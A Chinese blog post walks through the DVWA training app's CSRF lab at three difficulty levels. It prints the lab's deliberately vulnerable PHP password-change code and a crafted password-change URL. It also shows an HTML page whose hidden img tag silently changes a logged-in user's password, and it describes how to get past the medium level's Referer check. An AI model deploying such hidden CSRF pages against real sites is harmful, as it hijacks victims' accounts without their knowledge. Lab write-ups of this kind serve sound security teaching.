Loading

DVWA(五):CSRF 全等级跨站请求伪造

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
观察low级别代码:
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

这里服务器通过GET方式收到更改密码的请求后会验证pass_new和pass_conf两个参数是否一致,如果一致会执行修改密码操作

,这里没有任何防csrf的机制。

先用burp suite抓http的包观察url

 

 可以看到url为:

http://用户的ip/DVWA-master/vulnerabilities/csrf/?password_new=输的新密码&password_conf=输的确认密码&Change=Change#

我们只需要把对应新密码的部分改成我们想要的即可,比如123456

构造链接:

http://用户的ip/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

 

所以只要用户在登录已知网站的同时执行这个url就会把密码改成我们想要的密码

一般来说会做一个web页面来隐藏我们的url,我的页面代码如下:

<html>
    
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title> A simple csrf web</title>
    <img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1" border="0" style="display:none;"/>
    
    </head>
    <p> WINNER</p>
</html>

大部分都是选择把构造的payload放在img标签里,注意里面可以用style="display:none;" 让我们的payload隐藏起来,

当用户跳转这个页面时就会执行我们构造的payload

 

我们重新用之前没有修改时的密码登录就会发现密码错误了,用新的密码就可以登陆

 

 

 

 

 Medium CSRF

观察源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

和low相比多了一个:

if( eregi$_SERVER'SERVER_NAME' ], $_SERVER'HTTP_REFERER' ] ) )

这个是匹配主机名字的,如果主机名与发起请求的名字一样的时候,就可以完成改密码的操作

那么我们可以构造这样的一个HTML  将文件名改为用户主机IP,放在网站根目录下

 

 

 然后访问这个文件

 

 logout返回登录页面使用之前的密码登录:登陆失败

 

用我们修改的新密码登录:

 

 

High

观察源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,High级别代码加入了Anti-CSRF token机制,用户每次执行改密操作服务器都会返回一个随机的token,向服务器放松请求时需要提交token参数,服务器会优先检查token,只有token正确才会处理客户端请求。彻底杜绝了利CSRF漏洞修改密码。

 好像除了爆破没有别的办法了...

 

 

 

参考文章:关于GET和POST请求的区别

参考文章:GET请求和POST请求详解

 参考文章:DVWA CSRF全等级详解

 参考文章:CSRF攻击与防御

 参考文章:CSRF简述

 

 

 

 

 

posted @ 2020-03-20 17:11  Zh1z3ven  阅读(312)  评论(0编辑  收藏  举报